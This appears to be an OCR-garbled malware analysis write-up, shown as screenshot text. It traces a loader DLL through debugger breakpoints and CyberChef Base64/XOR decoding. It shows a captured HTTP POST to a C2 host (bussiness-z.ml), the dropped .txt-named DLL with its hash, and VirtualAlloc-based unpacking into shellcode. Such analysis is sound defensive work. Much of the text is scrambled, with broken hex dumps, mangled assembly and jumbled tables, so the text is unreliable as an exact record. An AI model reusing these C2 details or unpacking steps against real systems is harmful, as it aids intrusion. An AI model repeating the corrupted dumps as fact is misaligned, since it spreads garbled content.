	Address Hex				ASCII	
Address Hex 0097E8EC <u>F0 66 D7 00</u> 0 12 3D 1F 25 2	00D766F0 01 29 39 2 00D76700 43 7A 7C 6	B 1D 12 3D 1F 1 7B 64 7B 62	25 26 31 39 79 3 7D 7F 73 00 0D F	88 3D 1A 0 AD BA	.)9+. Cz a{	.=.%&19y8=. d{b}.s∂.°

Recipe	8		Î	Input	
From Base64		\bigcirc	н	ASk5Kx0SPR8lJjE5eTg9Gk	N6fGF7ZHtifX92
Alphabet A-Za-z0-9+/=			•	Output	
Remove non-alphabe	t chars			JcrgRYwTiizs2trQ	10.0.0.249
XOR		\otimes	п		
Key KJKLO		UTF8	Ŧ		
^{Scheme} Standard	Null preserv	ring			

 70D92B84 8D95 E8F9FFFF 70D92B8A 8B85 E8F9FFFF 	lea edx,dword ptr ss: ebp-618 mov eax,dword ptr ss: ebp-618	`				
70D 92890 70D 92896 70D 92896 70D 9289 70D 928 70D 9	<pre>lea ecx,dword ptr ss:[ebp-660] Src push dword ptr ss:[ebp-608] int cmovae edx,eax mov_dword ptr ss:[ebp-88C],eax</pre>	EAX 0097E8EC EBX 00000000 ECX 7A0666F4				
	<pre>call <3087041.xor_to_b64> mov esi,eax add esp,4 lea eax.dword ptr ss:[ebp-618]</pre>	EDX 00D76708 EBP 0097EF4C ESP 0097E588 ESI 0097E8EC				
70D92885 3BC6 70D92887 ✓ 74 6C 70D92887 ✓ 74 6C 70D92889 8B85 FCF9FFFF 3258 3258 3258	<pre>cmp eax,esi je 3087041.70D92C25 mov eax,dword ptr ss:[ebp-604] cmp eax:&"ASk5Kx0SPR81JjE5eTg9GkN6fGF7ZHtifX9Z" eax:&"ASk5Kx0SPR81JjE5eTg9GkN6fGF7ZHtifX9Z" eax:&"ASk5Kx0SPR81JjE5eTg9GkN6fGF7ZHtifX9Z"</pre>	EDI 0000001E EIP 70D92BAA				
7009288F 83F8 10 700928C2	b 3087041.70D92BF1 mov edx,dword ptr ss:[ebp-618] lea ecx,dword ptr ds:[eax+1]	EFLAGS 000002				
eci-0097E8EC & AVASKEKY05E8 2116E at 096kN6f6E77	mov eax.edx eax:&"ASk5Kx0SPR81JjE5eTg9GkN6fGF7ZHtifX9z"	1: [esp+4] 7A06 2: [esp+8] 0000				
eax=0097E8EC & "ASk5KX05FR815jE5ETg9GkN6fGF72	tifX92"	4: [esp+10] 00D				
.text:70D92BAA 3087041.dll:\$2BAA #1FAA Address Hex ASCII						
Image: Dump 1 Image: Dump 2 Image: Dump 3 Image: Dump 3 Address Hex Image: Dump 3 Image: Dump 3 Image: Dump 3 0097E8EC 28 67 D 00 B 78 30 53 50 52 38 60	00D76728 41 53 68 35 48 78 30 53 50 52 38 6C 4A 6A 45 35 ASk5 00D76738 65 54 67 39 47 68 4E 36 66 47 46 37 5A 48 74 69 eTg9 00D76748 66 58 39 7A 00 F0 AD BA 0D F0 AD BA 0D F0 AD BA fX9z	KxOSPR81JjE5 GkN6fGF7ZHti .ð.°.ð.°.ð.°				

CyberChef decryption

Set breakpoints on communication functions (send & recv) to follow the further communication

1494	if (send(s, buf, v189, 0) == -1 shutdown(v190, 1) == -1)
1495	l closesocket(v190):
1497	WSACleanun():
1498	sub 10005890(v239, "500").
1499	$v_{242} = v_{154} + 1$
1500	}
1501	else
1502	{
1503	sub 10005890(v247, &unk 1000A2D5);
1504	LOBYTE(v271) = 39;
1505	while (1)
1506	{
1507	v191 = recv(v190, v269, 512, 0);
1508	TI (ATAT <= 0)
1509	break;
1510	for (i = 0; i < v191; ++i)
1511	{
1512	<pre>LOBYTE(buf) = v269[i];</pre>
1513	<pre>sub_10006860((int)v247, (char)buf);</pre>
1514	}
1515	v190 = s;
1516	}
1517	closesocket(v190);
1518	WSACleanup();

	74052022	50	puch poi	
	74853924	EE15 44418E74	call dword ptr ds:[csends]	5
	74052024	1113 44/10/74		
	748E392D	V 0E85 B5000000	ine 3087041,748E39E8	
>0	748F3933	56	push esi	s
	748F3934	FE15_3CA18E74	call dword ptr ds: [<closesocket>]</closesocket>	
	74BF393A	FF15 34A1BF74	call dword ptr ds:[<wsacleanup>]</wsacleanup>	
	748E3940	888D ZOFZEFEF	mov ecx.dword ptr ss:[ebp-890]	void *
	74BF3946	68 58A5BF74	push <3087041.a500>	748FA558: "500"
	748F394B	E8 401E0000	call 3087041.748E5890	
	74BF3950	83CF 01	or edi.1	
	74BF3953	89BD 7CF7FFFF	mov dword ptr ss: ebp-884].edi	
•	74BF3959	8D8D B8F9FFFF	lea ecx.dword ptr ss: ebp-648	void *
•	74BF395F	E8 1C1E0000	call 3087041.74BF5780	
	74BF3964	8D8D E8F9FFFF	lea ecx.dword ptr ss: ebp-618	void *
•	74BF396A	E8 111E0000	call 3087041.74BF5780	
•	74BF396F	8D8D 88F9FFFF	lea ecx.dword ptr ss:[ebp-678]	void *
•	74BF3975	E8 061E0000	call 3087041.74BF5780	
	74BF397A	8D8D D0F9FFFF	lea ecx,dword ptr ss:[ebp-630]	void *
•	74BF3980	E8 FB1D0000	call 3087041.74BF5780	
•	74BF3985	68 8057BF74	push 3087041.74BF5780	<pre>void (thiscall *)(void *)</pre>
•	74BF398A	6A 14	push 14	unsigned int
•	74BF398C	6A 18	push 18	
•	74BF398E	8D85 18FAFFFF	lea eax,dword ptr ss:[ebp-5E8]	
•	74BF3994	C645 FC 06	mov byte ptr ss:[ebp-4],6	
•	74BF3998	50	push eax	void *
•	74BF3999	E8 5E4D0000	<pre>call <3087041.??_M@YGXPAXIIP6EX0@Z@Z></pre>	
•	74BF399E	68 8057BF74	push 3087041.74BF5780	void (thiscall *)(void *)
•	74BF39A3	6A 14	push 14	unsigned int
•	74BF39A5	6A 18	push 18	
•	74BF39A7	8D85 F8FBFFFF	lea eax,dword ptr ss:[ebp-408]	[ebp-408]:"celulasmadreenmexico.com.mx"
•	74BF39AD	C645 FC 05	mov byte ptr ss:[ebp-4],5	
•	74BF39B1	50	push eax	void *
•	74BF39B2	E8 454D0000	<pre>call <3087041.??_M@YGXPAXIIP6EX0@Z@Z></pre>	and a second sec
	74BF39B7	SDSD OOFAFFFF	Tea ecx, dword ptr ss: epp-600	V010 *
	74BF39BD	E8 BE1D0000	Call 308/041./48F5/80	and a second
	74BF39C2	8D8D 70F9FFFF	Tea ecx, dword ptr ss: epp-690	V010 *
	74BF39C0	E8 B3100000	lep acy dword ptr scilebre?	world *
	74BF39CD	5040 08 58 AB1D0000	call 2027041 74PEE 720	vord *
	74853900	ES ABID0000	les acy dword ptr scilebr+20	void *
	74053000	50 40 20 58 A21D0000		voru
	74853900	2025 70575555	mov eav dword ntr ss: ebn_890]	
	748E39E3	∧ E9 B0EAEEEE	imp 3087041,748E2498	
>	748E39E8	6A 01	push 1	how
	748F39FA	56	push esi	s
	748F39F8	FF15 48A1BF74	call dword ptr ds:[<shutdown>]</shutdown>	-
	74BF39F1	83F8 FF	CMD eax.FFFFFFF	
0	74BF39F4	OF84 39FFFFFF	je 3087041.74BF3933	
	74BF39FA	68 D5A2BF74	push 3087041.74BFA2D5	Snc
	74BF39FF	8D8D 38F9FFFF	lea ecx, dword ptr ss: ebp-6C8	void *
	74BF3A05	E8 861E0000	call 3087041.74BF5890	
•	74BF3A0A	C645 FC 27	mov byte ptr ss:[ebp-4],27	27:111
•	74BF3A0E	66:90	nop	
•	74BF3A10	6A 00	push 0	flags
•	74BF3A12	68 00020000	push 200	len
•	74BF3A17	8D85 D8FDFFFF	lea eax,dword ptr ss:[ebp-228]	
•	74BF3A1D	50	push eax	buf
•	748F3A1F	FF15 30A1BF74	<pre>call dword ptr ds:[<recv>]</recv></pre>	S
	74052425	007.0	tost odi odi	
	74BEBA271	ASEE	LLEST POLLPOI	

Source	Destination	Protocol	Length	Info
10.0.0.249	192.185.52.124	HTTP	253	3 POST /3pdEiqsni/ASk5Kx0SPR8lJjE5eTg9GkN6fGF7ZHtifX9z HTTP/1.1 Continuation

∨ ну	pert	ext	Tr	ans	fer	Pr	oto	col									
>	POS	т /	3pd	Eiq	sni,	/AS	k5K	xØSP	R81	JjE	5eT	g9G	kN6 [.]	fGF	7ZH	tif)	X9z HTTP/1.1\r\n
Host: bussiness-z.ml\r\n																	
>	Con	ten	t-L	eng	th:	88	\r\	n									
	\r\	n															
	[Fu	11	req	ues	t U	RI:	ht	tp:/	/bu:	ssi	nes	<u>s - z</u>	.ml	/3p	dEi	qsn:	i/ASk5Kx0SPR8lJjE5eTg9GkN6fGF7ZHtifX9z
0000	c4	ad	34	76	ff	75	00	0c	29	f9	80	ha	08	00	45	00	· · 4v·u· ·)· · · · · F·
0010	00	ef	21	d4	40	00	80	06	d8	06	0a	00	00	f9	c0	b9	···!·@····
0020	34	7c	e9	5d	00	50	10	30	fa	91	d3	a0	Øb	0c	50	18	4 ·] · P · 0 · · · · · P ·
0030	04	02	b9	aa	00	00	50	4f	53	54	20	2f	33	70	64	45	·····PO ST /3pdE
0040	69	71	73	6e	69	2f	41	53	6b	35	4b	78	30	53	50	52	iqsni/AS k5Kx0SPR
0050	38	6c	4a	6a	45	35	65	54	67	39	47	6b	4e	36	66	47	8lJjE5eT g9GkN6fG
0060	46	37	5a	48	74	69	66	58	39	7a	20	48	54	54	50	2f	F7ZHtifX 9z HTTP/
0070	31	2e	31	Ød	0a	48	6f	73	74	3a	20	62	75	73	73	69	1.1 Hos t: bussi
0080	6e	65	73	73	2d	7a	2e	6d	6c	Ød	0a	43	6f	6e	74	65	ness-z.m 1 Conte
0090	6e	/4	2d	4c	65	6e	67	74	68	3a	20	38	38	Ød	0a	Øđ	nt-Lengt h: 88
00a0	0a	44	//	38	59	42	/8 ch	/3	45	4/	6d	59	41	48	33	68	DW8YBXS EGMYOH3h
0000	20	43	48	/3	40	51	60	40	65	50	/9	6T	35	51	30	49	+CHSKQKM ePyo5Q01
0000	50	64	52	63	66	41	43	60	39	41	42	59	65	50	/9	61	PORCTOCK 90BYEPyo
0000	35	46	6/	61	58	50		58	12	50	/9	30	54	4/	53	55	SFRORPWS FPYOIDSU
0000	/1	49	53	59	60	40	55	4a	46	4/	41	51	59	41	41	13	DECLEVICUJ FORQYAAS
0010	64	42	42	38	62	52	55	59	3d	Øđ	Øa	Øđ	øа				GRRSDKUX =····

Prepared HTTP **request** sent to the CnC server

🕮 CPU	🗋 Log	Notes	Breakpoints	Memory Map	🗐 Call Stack	🖻 Seh	Script	🐏 Symbols	<> Source		P References
	70D93917 70D93919 70D93918 70D93921 70D93922	6A 0 2BCE 8BB5 51 52	0 64F7FFFF	push 0 sub ecx,esi mov esi,dwor push ecx push edx	d ptr ss:[ebp-	-89C]	flag len buf	5		E/	<u>X 0000000</u> X 0000000
	70093924	FF15	<u>44A1D970</u>	call dword p	tr_ds:[<mark><send></send></mark>]		S			E	00D76DB0
	7 0D 9392D 7 0D 93933 7 0D 93934 7 0D 93934 7 0D 93940 7 0D 93946 7 0D 93946 7 0D 93948 7 0D 93950 7 0D 93953	 OF85 56 FF15 FF15 8880 68 5 E8 4 83CF 8980 8080 	B5000000 <u>3CA1D970</u> <u>34A1D970</u> 70F7FFFF <u>8A5D970</u> 01F0000 01 7CF7FFFF B859EFFF	jne 3087041. push esi call dword p mov ecx,dwor push <308704 call 3087041 or edi,1 mov dword pt lea ex, dwor	70D939E8 ptr ds:[<close: tr ds:[<wsac16 d ptr ss:[ebp- 1.a500> 70D95890 r ss:[ebp-884] d ptr ss:[ebp-884]</wsac16 </close: 	ocket>] anup>] 890]	s YuD9	* A558: "500"		ES ES ES ES ES	22 0097E57C 31 000001C0 31 00007FFE 1P 70D93924 FLAGS 000003 fault (stdcall)
	<	0000	Bor Si Ti Ti	Teu cexțului	u per son	040	10010		>	1:	[esp] 000001
dword ptr	ds:[70D9/ 93924 308;	A144 <3087 7041.dll:\$	041.send>]= <ws2< td=""><td>_32.send></td><td></td><td></td><td></td><td></td><td></td><td>3: 4: 5: <</td><td>[esp+8] 0000 [esp+C] 0000 [esp+10] 7A0</td></ws2<>	_32.send>						3: 4: 5: <	[esp+8] 0000 [esp+C] 0000 [esp+10] 7A0
Dump 1	🚛 Dum	o 2 💷 D	ump 3 💷 p 4	Dump 5	🛞 Watch 1	[x=] Locals	Struct				
Address	Нех				ASCII						
00D76D80 00D76DD0 00D76DD0 00D76DE0 00D76E00 00D76E10 00D76E10 00D76E30 00D76E30 00D76E40 00D76E50 00D76E50	50 4F 53 41 53 6B 51 47 66 55 54 67 66 58 39 67 73 74 26 50 66 67 74 68 78 73 45 68 4D 65 43 6B 39 77 38 72 55 54 46	54 20 2F 3 35 48 78 3 39 47 68 4 7A 20 48 5 3A 20 62 7 0D 0A 43 6 3A 20 38 3 47 6D 59 4 50 79 66 5 4F 42 59 6 50 79 30 5 60 79 30 5 47 41 51 5 60 00 0A 00 6	33 70 64 45 69 7 10 53 50 52 38 6 12 36 64 45 69 7 46 36 14 54 50 2F 31 2 37 73 69 6E 6 14 54 50 2F 31 2 38 69 6 6 7 66 34 65 6E 7 65 6E 7 63 8 00 0A 0D 0A 4 4 4 33 68 28 4 35 51 30 69 60 65 55 50 79 6F 35 6 65 55 71 4 <td>1 73 6E 69 2F C 4A 6A 45 35 7 5A 48 74 69 E 31 0D 0A 48 5 73 73 2D 7A 4 2D 4C 65 6E 4 77 38 59 42 3 48 73 48 51 4 77 36 64 85 4 76 67 68 50 9 53 59 62 42 9 53 59 62 42 4 0D F0 AD BA</td> <td>POST /3pdEiqs ASKSKXOSPR813 erg9GkNeGGF72 fX9z HTTP/1.1 ost: bussines .m1Content- gth: 88Dw xSEGMYOH3h+CF kMePyoSQ0IPdR Ck90BYePyo5FQ UJFGAQYAAsdBe UY=</td> <td>ni/ jE5 Hti S-Z Len SYB SKQ cfO 08P YlL SbR ð.°</td> <td></td> <td></td> <td></td> <td></td> <td></td>	1 73 6E 69 2F C 4A 6A 45 35 7 5A 48 74 69 E 31 0D 0A 48 5 73 73 2D 7A 4 2D 4C 65 6E 4 77 38 59 42 3 48 73 48 51 4 77 36 64 85 4 76 67 68 50 9 53 59 62 42 9 53 59 62 42 4 0D F0 AD BA	POST /3pdEiqs ASKSKXOSPR813 erg9GkNeGGF72 fX9z HTTP/1.1 ost: bussines .m1Content- gth: 88Dw xSEGMYOH3h+CF kMePyoSQ0IPdR Ck90BYePyo5FQ UJFGAQYAAsdBe UY=	ni/ jE5 Hti S-Z Len SYB SKQ cfO 08P YlL SbR ð.°					

Source	Destination	Protocol
10.0.0.249	192.185.52.124	HTTP
192.185.52.124	10.0.0.249	HTTP

Length

Info

253 POST /3pdEiqsni/ASk5Kx0SPR8lJjE5eTg9GkN6fGF7ZHtifX9z HTTP/1.1 Continuation 430 HTTP/1.1 406 Not Acceptable (text/html)

∼ ну	perte	ext	Tr	ans	ter	Pr	oto	col									
>	HTTP	/1.	14	406	No	t A	cce	ptal	ble\	r\n							
	Date	: 2	Sat	, 0	2 0	ct :	202	1 1(6:03	:20	GM	T\r	\n				
	Serv	en	A	pacl	he\	r\n											
>	Cont	ent	t-Le	eng	th:	22	6\r	\n									
	Cont	ent	t-T	vpe	: t	ext.	/ht	ml:	cha	rse	t=i	so-	885	9-1	\r\i	n	
0000	00	0c	29	f9	8c	ba	с4	ad	34	76	ff	75	0 8	00	45	00	···)····· 4v·u··E·
0010	01	a0	f7	a9	40	00	2c	0 6	55	80	c0	b9	34	7c	0a	00	····@·,·U···4 ··
0020	00	f9	00	50	e9	5d	d3	a0	Øb	0c	10	30	fb	58	50	18	····P·]·· ···0·XP·
0030	01	f5	0c	47	00	00	48	54	54	50	2f	31	2e	31	20	34	•••G••HT TP/1.1 4
0040	30	36	20	4e	6f	74	20	41	63	63	65	70	74	61	62	6c	06 Not A cceptabl
0050	65	0d	0a	44	61	74	65	3a	20	53	61	74	2c	20	30	32	e∙∙Date: Sat, 02
0060	20	4f	63	74	20	32	30	32	31	20	31	36	3a	30	33	3a	Oct 202 1 16:03:
0070	32	30	20	47	4d	54	Ød	0a	53	65	72	76	65	72	3a	20	20 GMT ·· Server:
0080	41	70	61	63	68	65	Ød	0a	43	6†	6e	74	65	6e	74	2d	Apache Content-
0090	4c	65	6e	67	74	68	3a	20	32	32	36	Ød	0a	43	6†	6e	Length: 226 Con
00a0	74	65	6e	74	2d	54	79	70	65	Зa	20	74	65	78	74	2†	tent-Typ e: text/
0060	68	74	6d	6c	3b	20	63	68	61	72	73	65	74	3d	69	73	html; ch arset=is
00c0	6†	2d	38	38	35	39	2d	31	Ød	0a	Ød	0a	3c	68	65	61	o-8859-1 ···· <hea< th=""></hea<>
00d0	64	3e	3c	74	69	74	6c	65	3e	4e	6†	74	20	41	63	63	d> <title>Not Acc</title>
00e0	65	70	74	61	62	6c	65	21	3c	21	74	69	74	6c	65	3e	eptable!
0010	3c	2†	68	65	61	64	3e	3c	62	6†	64	79	3e	3c	68	31	< body> <h1< th=""></h1<>
0100	3e ·	4e	6†	74	20	41	63	63	65	70	74	61	62	6C	65	21	>Not Acc eptable!
0110	30	21	68	31	3e	30	70	3e	41	6e	20	61	70	70	72	6T	An appro
0120	70	72	69	61	74	65	20	12	65	70	72	65	/3	65	6e	74	priate r epresent
0130	61	74	69	6T	6e	20	6T	66	20	74	68	65	20	72	65	/1	ation of the req
0140	/5	65	73	74	65	64	20	12	65	/3	6T	/5	72	63	65	20	uested r esource
0150	63	61	/5	60	64	20	be	61	/4	20	62	65	20	66	61	75	could no t be fou
0120	6e	64	20	6Ť	6e	20	74	68	69	73	20	13	65	72	/6	65	na on th is serve
0170	/2	2e	20	54	68	69	/3	20	65	72	12	61	12	20	11	61	r. Inis error wa
0120	/3	20	6/	65	be cr	65	72	61	/4	05	64	20	62	79	20	40	s genera ted by M
0190	6T	64	5T	53	65	63	/5	72	69	/4	79	2e	30	21	70	зe	og_Secur ity.
01a0	30	21	62	61	64	79	зe	3C	21	68	74	6d	60	зe			< /html>

HTTP **response** received from CnC server

•	70D93A17 70D93A1D	8D85 D8FDFFFF 50	push eax	buf	<u>^ </u>	
	70D93A1F	FF15 <u>30A1D970</u>	call dword ptr ds:[<recv>]</recv>	5		EAX 0097ED24
	70D93A27 70D93A29 70D93A28 70D93A20 70D93A30 70D93A30 70D93A37 70D93A43 70D93A43 70D93A44 70D93A45 70D93A45 70D93A51 70D93A53	85FF 7E 30 33F6 0F1F00 8A8C35 D8FDFFFF 8D8D 38F9FFFF FB5 80F7FFFF E8 122E0000 46 3BF7 7C DD 8BB5 64F7FFFF	<pre>test edi,edi jle 3087041.70D93A5B xor esi,esi nop dword ptr ds:[eax],eax mov cl,byte ptr ss:[ebp+esi-228] mov byte ptr ss:[ebp-880],cl lea ecx,dword ptr ss:[ebp-608] push dword ptr ss:[ebp-880] call 3087041.70D96860 inc esi cmp esi,edi jl 3087041.70D93A30 mov esi,dword ptr serebp-890]</pre>	eax:"HTTP/1.1 406 North	~	ECX 00D770D8 EDX 00000177 EBP 0097EF4C ESI 000001C0 EDI 00000178 EIP 70D93A1F EFLAGS 000003 Default (stdcall) 1: [esp] 000001
dword ptr	ds:[70D9A130	<3087041.recv>]= <ws2_< td=""><td>32.recv></td><td></td><td>-</td><td>2: [esp+4] 0097 3: [esp+8] 0000</td></ws2_<>	32.recv>		-	2: [esp+4] 0097 3: [esp+8] 0000
.text:70D	93A1F 3087041	.dll:\$3A1F #2E1F				4: [esp+C] 0000 5: [esp+10] 7A0 <
Dump 1	Ump 2	🛄 Dump 3 🛄 🛛 p 4	Ump 5 🛞 Watch 1 [x=] Locals	Struct		
Address	Hex		ASCII			
0097ED34 0097ED34 0097ED54 0097ED54 0097ED74 0097ED84 0097ED84 0097ED84 0097ED24 0097ED24 0097ED24 0097ED24 0097ED24 0097EE24 0097EE24 0097EE34 0097EE34 0097EE34 0097EE54 0097EE54 0097EE54 0097EE54 0097EE54 0097EE54 0097EE54	20 41 63 63 64 65 3A 20 53 63 00 0A 53 65 7 0D 0A 53 65 7 7 0D 66 61 72 7 7 0D 64 61 72 7 7 0E 65 3E 4E 6 63 63 65 70 7 7 0E 62 64 64 74 7 20 72 65 73 20 65 72 7 20 72 65 73 20	$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	0A 44 61 74 AcceptableDat 63 74 20 2 e: Sat, 02 02 74 161 63 68 55 Server: Apache 6E 67 74 68 Content-Length 6E 67 74 68 Content-Length 6E 67 74 62 226Content-T 60 62 38 39 charset=iso-8859 32 74 69 74 -1 chead> <ttt< td=""> 74 61 62 62 le>Not Acceptabl 68 65 61 64 el el<</ttt<>			

Unfortunately curren't requests to the CnC Server doesn't result in a further infection...

I got a successful infection in my lab environment in the past resulting in a dropped and executed file <RandomString>.txt in C:\User\<User>\AppData\Local\Temp

This file was similar to the one uploaded by malware-traffic-analysis.com

Name: RVOgDko8fnP.txt (MD5 ef799b5261fd69b56c8b70a3d22d5120)

C:\Users\User\AppData\Local\Temp											
Name	Änderungsdatum	Тур	Größe								
📄 RVOgDko8fnP.txt	18.09.2021 04:14	Textdokument	178 KB								



- Don't get fooled by .txt ending, actually it's a PE-DLL
- Interesting Imports
 LoadLibrary
 VirtualAlloc

Offset(h)	00	01	02	03	04	05	06	07	Dekodierter Tex
00000000	4D	5A	90	00	03	00	00	00	MZ
00000008	04	00	00	00	FF	FF	00	00	····ÿÿ···
00000010	B 8	00	00	00	00	00	00	00	
00000018	40	00	00	00	00	00	00	00	@
00000020	00	00	00	00	00	00	00	00	
00000028	00	00	00	00	00	00	00	00	
00000030	00	00	00	00	00	00	00	00	
0000038	00	00	00	00	E8	00	00	00	è
00000040	0E	1F	BA	0E	00	В4	09	CD	°′.Í
00000048	21	B8	01	4C	CD	21	54	68	!LÍ!Th
00000050	69	73	20	70	72	6F	67	72	is progr
00000058	61	6D	20	63	61	6E	6E	6F	am canno
00000060	74	20	62	65	20	72	75	6E	t be run
00000068	20	69	6E	20	44	4F	53	20	in DOS
00000070	6D	6F	64	65	2E	0D	0D	0A	mode

- Libraries are mostly linked at runtime
- Dynamic Analysis

Set breakpoints at relevant functions LoadLibrary VirtualAlloc

push call mov test jz mov	offset LibFileName ; "USER32.D ds:LoadLibraryA edi, eax edi, edi loc_409230 esi, ds:GetProcAddress	LL'
push call	offset ModuleName ; lpModuleName ds:GetModuleHandleA	

Jush	offset houstename, tphoustename
call	ds:GetModuleHandleA
nov	esi, ds:GetProcAddress
push	offset ProcName ; "LocalAlloc"
push	eax ; hModule
nov	hModule, eax
call	esi ; GetProcAddress
nov	LocalAlloc_0, eax
call	sub_401344
push	offset aVirtualprotect ; "VirtualProtect
push	hModule ; hModule
call	esi ; GetProcAddress

1		Imports	×	
Address	Ordinal	Name		Library
100417078		EraseTape		KERNEL32
10041707C 📷		FindFirstVolumeW		KERNEL32
100417080		FindActCtxSectionStringW		KERNEL32
100417084		WriteConsoleW		KERNEL32
100417088		HeapAlloc		KERNEL32
10041708C		GetLastError		KERNEL32
100417090		HeapReAlloc		KERNEL32
100417094		GetStartupInfoA		KERNEL32
100417098 100417098		RaiseException		KERNEL32
10041709C		RtlUnwind		KERNEL32
1004170A0 📷		TerminateProcess		KERNEL32
1004170A4 🛐		GetCurrentProcess		KERNEL32
1004170A8 📷		UnhandledExceptionFilter		KERNEL32
1004170AC		SetUnhandledExceptionFilter		KERNEL32
1004170B0 🛐		IsDebuggerPresent		KERNEL32
1004170B4 🛐		HeapFree		KERNEL32
1004170B8 🕎		DeleteCriticalSection		KERNEL32
1004170BC		VirtualFree		KERNEL32
1004170C0 📷		VirtualAlloc		KERNEL32
1004170C4 📷		HeapCreate		KERNEL32
004170C8		GetModuleHandleW		KERNEL32
1004170CC 1004		Sleep		KERNEL32
1004170D0 📷		ExitProcess		KERNEL32
1004170D4 📷		WriteFile		KERNEL32

Rule Information	Address	Details
accept command line arguments		host-interaction/cli
> 🗌 check mutex		host-interaction/mutex
> 🗌 contains PDB path		executable/pe/pdb
> 🗌 extract resource via kernel32 functions		executable/resource
get disk information		host-interaction/hardware/storage
> get geographical location		collection
Iink function at runtime (2 matches)		linking/runtime-linking
Iink many functions at runtime		linking/runtime-linking
Query environment variable		host-interaction/environment-variable



- After multiple LoadLibrary calls, a VirtualAlloc follows
- Set HW,Write breakpoint at the new allocated buffer

Jump to the new buffer takes place immediately after the end of the loop
 Shellcode execution

EB	=	jmp	67000	ð5
03	=	add	eax,	edx
C2	=	ret	С	

CPU	🔁 Log 🛛 📋	D Notes	Breakpoints	Memory Map	🗐 Call Stack	🖻 SEH	o s	cript	🐏 Symbols
•	0069B683	8B40	04	mov eax, dwo	rd ptr ds:[ea	x+4]	~		
	00698689	8908		mov dword p	tr de [eav] e	CX I	Ľ	-	000000
EIP →•	0069B68B	 FF65 	FC	jmp dword p	tr ss:[ebp-4]			EAX	00698953
•	0069B68E	C9		Teave	·	•		EDA	0002450
	0069B68F	C3		ret				ECA	00105450
	00698690	55		pusn erp				EDD	00195800
	00698691	8845	00	mov eav dwo	rd ntr ss. Teh	n+C		ESP	00195800
	00698696	53	00	ush ehr	i a per 55.[eb]			EGT	00195464
	00698697	56		I push esi				EDT	00000120
	00698698	8B75	08	mov esi,dwo	rd ptr ss: <mark>[</mark> eb	-181		201	00000120
	0069B69B	03C6		add eax,esi				стр	00698688
	0069B69D	8945	08	mov dword p	tr ss cop+8	,eax			00058008
	0069B6A0	8B45	14	mov eax, dwo	rd .cr ss:[ebj	p+14		Dofoul	t (atdcall)
	0069B6A3	33DB		xor ebx, ebv			× .	Delaul	t (stucali)
•	<						>	1: [0	esp+4] 006700
dword otr	ss:[ebn=4]	-[0019141	41-00670000					2: E	esp+8] 006/00
unor a per	22.[enh-4]	-[0019-81	4]-00070000					3: E	esp+C] 0019FA
								21 H	esp+10] 0009E
0069B68B									csp(11] 0015(
🛄 Dump 1	Ump :	2 💷 Du	3 🔛 Dump 4	🚛 Dump 5	🥘 Watch 1	[x=] Locals	2 s	truct	
Address H					ASCII				
0019F814 0	0 00 67 00	4 FA 19	00 99 89 69 00	64 FA 19 00	g.Tú'i.c	1ú			
0019-824 0	0 00 00 00	00 00 00	00 01 00 00 00	24 02 00 00		5			

Address	He)	x															ASCII
00670000	EB	03	C2	0C	00	55	8B	EC	81	EC	00	10	00	00	C7	45	ē. A U. ì. ì ÇE
006/0010	CU	10	UE	00	00	C7	45	Að	00	00	40	00	80	85	50	FF	ÀÇE¨@Pÿ
00670020	FF	FF	50	8D	45	D4	50	8D	45	98	50	E8	FB	08	00	00	ÿÿP.EÖP.E.Pèü
00670030	83	C4	0C	E8	04	00	00	00	00	00	00	00	58	89	85	6C	.A.eX1
00670040	FF	FF	FF	8B	00	85	C 0	74	03	C9	FF	E0	<u>E8</u>	EE	09	00	ÿÿÿAt.Éÿàèî
00670050	00	8B	85	6C	FF	FF	FF	8B	4D	C 0	8D	44	01	C8	89	45	1ÿÿÿ.MÀ.D.È.E
00670060	F8	8B	45	F8	89	85	58	FF	FF	FF	C7	85	70	FF	FF	FF	Ø.ΕØΧΫΫΫΫ.ΡΫΫΫ
00670070	6B	65	72	6E	C7	85	74	FF	FF	FF	65	6C	33	32	C7	85	kernÇ.tÿÿÿel32Ç.
00670080	78	FF	FF	FF	2E	64	6C	6C	83	A5	7C	FF	FF	FF	00	8D	xÿÿÿ.d11.¥ ÿÿÿ
00670090	85	70	FF	FF	FF	50	FF	55	D4	89	45	C4	C7	85	70	FF	.pÿÿÿPÿUÖ.EAÇ.pÿ
006700A0	FF	FF	56	69	72	74	C7	85	74	FF	FF	FF	75	61	6C	41	ÿÿVirtÇ.tÿÿÿualA
006700B0	C7	85	78	FF	FF	FF	6C	6C	6F	63	83	A5	7C	FF	FF	FF	C.xÿÿÿlloc.¥ ÿÿÿ
006700C0	00	8D	85	70	FF	FF	FF	50	FF	75	C4	FF	55	98	89	45	pÿÿÿPÿuAÿUE
006700D0	Β4	C7	85	70	FF	FF	FF	56	69	72	74	C7	85	74	FF	FF	Ç.pÿÿÿVirtÇ.tÿÿ
006700E0	FF	75	61	6C	50	C7	85	78	FF	FF	FF	72	6F	74	65	C7	ÿualPC.xÿÿÿroteC
006700F0	85	7C	FF	FF	FF	63	74	00	00	8D	85	70	FF	FF	FF	50	. yÿÿÿctpÿÿÿP
00670100	FF	75	C4	FF	55	98	89	45	D8	C7	85	70	FF	FF	FF	56	ÿuAÿUEØÇ.pÿÿÿV
00670110	69	72	74	C7	85	74	FF	FF	FF	75	61	6C	46	C7	85	78	irtÇ.tÿÿÿualFÇ.x
00670120	FF	FF	FF	72	65	65	00	8D	85	70	FF	FF	FF	50	FF	75	ÿÿÿreepÿÿÿPÿu
00670130	C4	FF	55	98	89	45	9C	C7	85	70	FF	FF	FF	47	65	74	AÿUE.Ç.pÿÿÿGet
00670140	5.6	67	0.5	7.4				65	70	72	60	67	OF	7.0			VC transforctC year
00670E40	00	00	00	00	00	00	00	00	00	50	00	00	44	01	00	00	PD
00670E50	4D	5A	90	00	03	00	00	00	04	00	00	00	FF	FF	00	00	MZÿÿ
00670E60	B 8	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00	@
00670E70	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00670E80	00	00	00	00	00	00	00	00	00	00	00	00	00	01	00	00	
00670E90	0E	1F	BA	0E	00	B4	09	CD	21	B 8	01	4C	CD	21	54	68	
00670EA0	69	73	20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F	is program canno
00670EB0	74	20	62	65	20	72	75	6E	20	69	6E	20	44	4F	53	20	t be run in DOS
00670EC0	6D	6E	64	65	2 F	OD	OD	04	24	00	00	00	00	00	00	00	mode \$
00670ED0	7E	2F	73	88	ЗA	4E	1D	DB	ЗA	4E	1D	DB	ЗA	4E	1D	DB	~/s.:N.Û:N.Û:N.Û
